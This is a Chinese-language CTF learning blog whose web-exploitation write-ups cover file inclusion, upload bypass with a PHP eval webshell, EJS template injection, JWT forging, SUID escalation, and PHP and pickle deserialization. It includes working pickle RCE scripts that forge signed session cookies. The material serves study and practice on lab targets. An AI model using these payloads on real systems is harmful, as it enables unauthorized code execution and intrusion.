基础漏洞

因为我积累的还很少所以先把这些漏洞放在同一篇blog，等到时候积累的多了再分开

常见的flag存放位置：
注释、根目录、环境变量

文件包含

题目：

[HCTF 2018]WarmUp

主要源码：

1
2
3
4
5

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];

意思是如果前面的waf都通过，代码将执行 include $_REQUEST[file];，将用户指定的文件包含到当前脚本中

[Aurora新生赛] Just Signin

源码：

1
2
3
4
5
6
7

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    //flag is in flag.php
    $u = $_GET['__err0r233.yyds'];
    include $u;
?>

直接

试了好久都不行:(

为什么呢？
是因为后面的“.”被处理为了“_”，[|空格|+|.|。都会被处理为_

所以 payload 是

[ACTF2020 新生赛]Include1

源码如下：

1
2
3

<?php
echo "Can you find out the flag?";
//flag{af3e9cc8-41d8-4dab-9a9e-dcfbb125379e}

和上面一题有所不同，直接读取 PHP 文件会导致代码被解析执行，而flag被注释了，所以直接包含看不到，这就需要用到php://filter了

于是我们使用php://filter把源码转成base64再读，就可以绕过这个限制
payload

进阶：
如果php://filter被ban了咋办呢？

[攻防世界]Web_php_include

源码:

1
2
3
4
5
6
7
8
9

<?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
?>

问一下AI，这里还能用data://text等协议（应该还有其他的，不过还没接触到过，有待我补充）

1

/?page=data://text/plain,<?php system('ls');?>

最后拿到flag在注释里面，找了好久（ :( 不要忘记看一下注释）

总结：

awdasdasda

Upload

按后端类型分类，主要遇到过PHP、Node.js、Python

PHP

最简单的上传一个的php文件，直接用AntSword连接到这个php文件，就能打穿了

下面是有waf的

CTFHub 文件上传 前端验证

直接上传是不允许的

F12看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

function checkfilesuffix()
{
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
        alert("请添加上传文件");
        return false;
    }
    else
    {
        var whitelist=new Array(".jpg",".png",".gif");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            alert("该文件不允许上传");
            return false;
        }
    }
}

只要jpg或png或gif

法一：在浏览器关闭js，直接上传即可
法二：在BurpSuite拦截然后改名就可以

CTFHub 文件上传 文件头检查

所以单纯的改名已经绕不过了，要把一个木马写入到一张图片里面

准备一张图片，hack.txt里面有php木马，然后copy 1.png/b+1.txt/a 2.png
上传2.png然后改名2.php即可

再看一道题目：

[极客大挑战 2019]Upload

文件后缀名不能是php，检查了文件头，过滤了
对于php
在PHP中，可以使用的文件后缀名不仅仅限于 .php，以下是一些常见的 PHP 文件后缀名：

这里尝试php2不行，所以用了phtml
一句话木马不能用了，让AI做出修改，代码如下

1

<script language="php">eval($_POST['cmd']);</script>

这样就可以了

再看一题：

SZU靶场 Web 每日一题 2024[day 3] rce and escalation

在r.php中已经预先准备好了一个webshell，访问题目url/r.php即可，但是flag被设置为仅有root权限可读，需要用SUID提权才能读

先找到具有suid权限的文件

根据得到的命令去查表

对于本题：

逐一尝试，发现time可以

Node.js

[Hgame]Level 47 BandBomb

给了源码，存在一个路径遍历漏洞，可以通过重命名改变文件路径

这个题使用了一个 ejs 视图引擎读取 uploads 目录中的文件列表，如果读取成功，渲染 mortis视图并传递文件列表

上传<%= require(child_process).execSync(env > /app/public/1.txt) %>

意思就是创建一个子进程获取环境变量把它写入到/public 下的 1.txt
这时候只需要改个名从而改变它的路径替换 mortis.ejs源码中有一句话 app.use(express.json());所以改名需要 POST json

根据前面的恶意代码，我们只需要访问/static/1.txt 即可获取环境变量，里面有一个FLAG

Python

遇到过一道题，但是尚未解决

SZU靶场python-include

SQL注入（SQL是一点不会 :( 先不写了 ）

审计

JS

做这种题的一般步骤就是找到关键的信息，如数值，然后再控制台改，不一定要把全部内容都理解
[Hgame] Level 24 Pacman

JWT

JWT 的原理：服务器认证以后，生成一个 JSON 对象，发回给用户，就像下面这样

1
2
3
4
5

{
  "姓名": "张三",
  "角色": "管理员",
  "到期时间": "2018年7月1日0点0分"
}

以后，用户与服务端通信的时候，都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据，服务器在生成这个对象的时候，会加上签名 (Signature)

例：

1

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0.Y2PuC-D6SfCRpsPN19_1Sb4WPJNkJr7lhG6YzA8-9OQ

JWT 的三个部分依次如下:

Header
Header 部分是一个 JSON 对象，描述 JWT 的元数据，以上面的例子，使用 base64decode 之后：

1
2
3
4
5

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{
  "alg": "HS256",
  "typ": "JWT"
}

header部分最常用的两个字段是alg和typ

alg属性表示token签名的算法(algorithm)，最常用的为HMAC和RSA算法

typ属性表示这个token的类型（type），JWT 令牌统一写为JWT

Payload
Payload部分也是一个 JSON 对象，用来存放实际需要传递的数据。JWT 规定了7个官方字段，供选用

1
2
3
4
5
6
7

- iss (issuer)：签发人
- exp (expiration time)：过期时间
- sub (subject)：主题
- aud (audience)：受众
- nbf (Not Before)：生效时间
- iat (Issued At)：签发时间
- jti (JWT ID)：编号

除了官方字段，还可以在这个部分定义私有字段，以上面的例子为例，将 payload 部分解 base64 之后：

1
2
3
4
5

{
  "sub": "1234567890",
  "name": "CTFHub",
  "iat": 1516239022
}

注意：JWT 默认是不会对 Payload 加密的，也就意味着任何人都可以读到这部分JSON的内容，所以不要将私密的信息放在这个部分
Signature
Signature 部分是对前两部分的签名，防止数据篡改

首先，需要指定一个密钥（secret）。这个密钥只有服务器才知道，不能泄露给用户。然后，使用 Header 里面指定的签名算法（默认是 HMAC SHA256），按照下面的公式产生签名。

1
2
3
4

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

算出签名以后，把 Header、Payload、Signature 三个部分拼成一个字符串，每个部分之间用”点”（.）分隔，就可以返回给用户

参考链接：

Cfthub-无签名

代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

import jwt

# Header
headers = {
    "alg": "none",
    "typ": "JWT"
}

# Payload
payload = {
    "username": "admin",
    "password": "admin",
    "role": "admin"
}

# 这里需要一个密钥，通常这个密钥是保密的，并且只有服务端知道,因为alg是none所以sk必须为空,然后后面生成的Signature就空
secret_key = ''

# 生成 JWT
token = jwt.encode(payload, secret_key, algorithm="HS256", headers=headers)

print(token)

Ctfhub-弱密钥

用JWT cracker ：

clone下来make
然后

拿到密钥ezww，把刚才的脚本改一下就好了

类似的，flask session伪造可以用flask-session-cookie-manager，后面用到了，此处不再赘述

PHP反序列化

1. 序列化与反序列化

序列化（Serialize）：将对象（Object）或数据结构转换为字符串（可存储/传输的格式）

1
2
3

$data = ["user" => "admin", "role" => "admin"];
$serialized = serialize($data);
// 输出：a:2:{s:4:"user";s:5:"admin";s:4:"role";s:5:"admin";}

• 反序列化（Unserialize）：将序列化后的字符串还原为原始对象或数据结构。

  1	$unserialized = unserialize($serialized);

2. 漏洞原理

攻击者能够控制反序列化的输入时，可能触发对象中的魔术方法（Magic Methods），从而执行恶意代码。关键魔术方法：

• __wakeup()：反序列化时自动调用。
• __destruct()：对象销毁时调用。
• __toString()：对象被当作字符串使用时调用。

漏洞示例：

1
2
3
4
5
6
7
8
9
10
11
12

class VulnerableClass {
    private $file;

    public function __destruct() {
        // 对象销毁时删除文件（危险操作！）
        unlink($this->file);
    }
}

// 攻击者构造恶意序列化数据
$evil_payload = 'O:15:"VulnerableClass":1:{s:15:"VulnerableClassfile";s:10:"/etc/passwd";}';
$data = unserialize($evil_payload); // 反序列化触发 __destruct()，删除系统文件

3. 攻击场景

• POP链攻击（Property-Oriented Programming）：通过组合多个类的魔术方法，构造恶意调用链。
• 依赖注入：利用反序列化篡改对象属性，例如数据库连接参数、文件路径等。
• 框架漏洞：如ThinkPHP、Laravel等框架的历史反序列化漏洞。

4. 防御措施

1. 避免反序列化不可信数据
   尽量避免使用unserialize()处理用户输入，优先使用JSON等安全格式（如json_encode()/json_decode()）。

2. 校验数据完整性
   使用签名（如HMAC）验证数据来源和完整性：

   1 2 3 4 5

   $data = $_POST['data']; $signature = $_POST['signature']; if (hash_hmac('sha256', $data, $secret_key) === $signature) { $unserialized = unserialize($data); }

3. 限制允许的类
   使用allowed_classes参数限制可反序列化的类：

   1	$unserialized = unserialize($serialized, ["allowed_classes" => ["SafeClass"]]);

4. 禁用危险魔术方法
   在敏感类中避免使用__wakeup()、__destruct()等高风险方法。

5. 使用替代方案
   使用__sleep()方法控制序列化的字段，或实现Serializable接口自定义序列化逻辑。

[攻防世界]unserialize3

1
2
3
4
5
6

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

存在反序列化相关的逻辑。__wakeup 函数被定义用来阻止正常的反序列化操作并直接输出 bad requests 退出程序。要获取 flag，可以尝试利用 __wakeup 函数的绕过漏洞

在PHP反序列化中，当 __wakeup 函数存在时，如果对象序列化数据中的 O:类名长度:类名:属性个数:{属性} 中的属性个数被人为篡改得比实际属性个数大时，__wakeup 函数会被绕过

首先，构造正常的对象序列化字符串：

1
2
3
4
5
6
7
8
9
10

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$obj = new xctf();
echo serialize($obj);
?>

这段代码会输出类似 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 的序列化字符串

然后，篡改属性个数，使其大于实际的属性个数，从而绕过 __wakeup 函数。假设篡改后的序列化字符串如下：

1
2
3
4
5
6
7
8
9
10
11

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$malicious_serialized = 'O:4:"xctf":2:{s:4:"flag";s:3:"111";}';
$unserialized_obj = unserialize($malicious_serialized);
echo $unserialized_obj->flag;
?>

在上述代码中，O:4:"xctf":2:{s:4:"flag";s:3:"111";} 中属性个数由 1 改为了 2，就能绕过 __wakeup 函数并成功反序列化对象，进而获取 flag

Python pickle反序列化

序列化：将对象转换为可存储/传输的格式（如 pickle.dumps(obj) 生成字节流）
反序列化：将序列化数据还原为对象（如 pickle.loads(data) 重建对象）

攻击链中服务端可能使用的不安全的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# Flask 示例（存在漏洞）
from flask import Flask, request
import pickle

app = Flask(__name__)

@app.route('/unsafe', methods=['POST'])
def unsafe():
    data = request.get_data()        # 接收客户端原始数据
    obj = pickle.loads(data)         # 🚨 反序列化触发漏洞
    return f"Hello {obj.name}!"

# 攻击者发送恶意构造的 Base64 数据即可触发 RCE

再比如说下面这个就是利用了cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

from flask import Flask, request, make_response
import pickle
import base64

app = Flask(__name__)

@app.route('/login')
def login():
    user = User(is_admin=False)  # 用户对象
    cookie_data = pickle.dumps(user)  # 序列化用户对象
    response = make_response("Login Success")
    response.set_cookie('user', base64.b64encode(cookie_data).decode())  # 将序列化数据存入 Cookie
    return response

@app.route('/admin')
def admin():
    cookie_data = request.cookies.get('user')
    if cookie_data:
        user = pickle.loads(base64.b64decode(cookie_data))  # 🚨 危险：直接反序列化 Cookie
        if user.is_admin:
            return "Welcome Admin!"
    return "Access Denied"

看下面这道题目（用到了flask-session伪造和pickle反序列化）

SZU新生赛[middle-hard] Share Page

用{{config}}拿 secretkeye9a41c95874c9443e7ba603c62fad8c36ca8c7e6e51f519497ebab7cf8a028a3
decode session 拿到 json

1

python flask_session_cookie_manager3.py decode -s "e9a41c95874c9443e7ba603c62fad8c36ca8c7e6e51f519497ebab7cf8a028a3" -c "eyJ1c2VyIjoiZ0FTVlBnQUFBQUFBQUFDTUJtMXZaR1ZzYzVTTUJGVnpaWEtVazVRcGdaUjlsQ2lNQW1sa2xFc0JqQWgxYzJWeWJtRnRaWlNNQVRHVWpBaHdZWE56ZDI5eVpKUm9CM1ZpTGc9PSJ9.Z9zvUA.jNc94EaAjTK1awdjkori3QmAx_g"

得到

1

{'user': 'gASVPgAAAAAAAACMBm1vZGVsc5SMBFVzZXKUk5QpgZR9lCiMAmlklEsBjAh1c2VybmFtZZSMATGUjAhwYXNzd29yZJRoB3ViLg=='}

gASV就是序列化的标志

使用恶意脚本

1
2
3
4
5
6
7
8
9
10

import base64
import pickle
class Person():
    def __init__(self, name: str = ""):
        self.name = name
    def __reduce__(self):
        return (eval, ("__import__('os').system('ls > static/1.txt')",))
man = Person("man")
a =pickle.dumps(man)
print(base64.b64encode(a))

拿到将指令序列化后的恶意字符串gASVSAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwsX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzID4gc3RhdGljLzEudHh0JymUhZRSlC4=
然后再伪造cookie

1

python flask_session_cookie_manager3.py encode -s "e9a41c95874c9443e7ba603c62fad8c36ca8c7e6e51f519497ebab7cf8a028a3" -t "{'user': 'gASVSAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwsX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzID4gc3RhdGljLzEudHh0JymUhZRSlC4='}"

得到eyJ1c2VyIjoiZ0FTVlNBQUFBQUFBQUFDTUNHSjFhV3gwYVc1emxJd0VaWFpoYkpTVGxJd3NYMTlwYlhCdmNuUmZYeWduYjNNbktTNXplWE4wWlcwb0oyeHpJRDRnYzNSaGRHbGpMekV1ZEhoMEp5bVVoWlJTbEM0PSJ9.Z9z2iA.joacN9aF9qeB4zuFyl69XFKomPY

修改cookie从而在static/1.txt看到回显

[XYCTF2025]SignIn

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

#flag in /flag_{uuid4}

from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

有一个 /download还有一个 /secret

1
2
3
4
5
6
7
8

def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

为了防止路径遍历ban了下面这些

• 1. name 中包含 ‘../../‘ 字符串
• 2. name 以 ‘/‘ 开头
• 3. name 以 ‘../‘ 开头
• 4. name 中包含 ‘\‘
     但这难不倒我们可以用 ./.././../
     因为 ./ 表示当前目录 ../ 表示上级目录
     从/download?filename=./.././../secret.txt拿到secretkey Hell0_H@cker_Y0u_A3r_Sm@r7

1
2
3
4
5
6
7
8
9
10
11
12

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"

打开/secret路由
cookie是name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"
投喂给AI

前面是HMAC-SHA256，后面是被pickle序列化后的内容
可以让AI写个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

import os
import pickle
import base64
import hmac
import hashlib

# 已知secret，比如你说你拿到了一个类似 flag 的字符串
secret = b"Hell0_H@cker_Y0u_A3r_Sm@r7"

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls > /download/1.txt',))

payload = pickle.dumps(Exploit())
payload_b64 = base64.b64encode(payload).decode()

# 计算签名
sig = base64.b64encode(hmac.new(secret, payload_b64.encode(), hashlib.sha256).digest()).decode()

# 拼出cookie
cookie = f"!{sig}?{payload_b64}"
print(cookie)

从/download?filename=1.txt看回显
但是并不起作用
修改代码使用eval而非os.system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import pickle
import base64
import hmac
import hashlib
import os

# 你拿到的secret
secret = b"Hell0_H@cker_Y0u_A3r_Sm@r7"

# 恶意类
class RCE:
    def __reduce__(self):
        return (eval, ("__import__('os').system('ls / > flag.txt')",))



# 构造payload：是一个list，第二个元素是字典，里面注入RCE
payload_data = ['name', {'name': RCE()}]

# 序列化并base64编码
payload_pickle = pickle.dumps(payload_data)
payload_b64 = base64.b64encode(payload_pickle).decode()

# 签名：HMAC-SHA256
sig = base64.b64encode(hmac.new(secret, payload_b64.encode(), hashlib.sha256).digest()).decode()

# 拼接最终cookie
cookie = f"!{sig}?{payload_b64}"
print(f"🔐 Cookie 值：\n{cookie}")

/download?filename=flag.txt
回显app bin dev docker-entrypoint.sh etc flag_dda2d465-af33-4c56-8cc9-fd4306867b70 home lib media mnt opt proc root run sbin secret.txt srv sys tmp usr var
下一步cat即可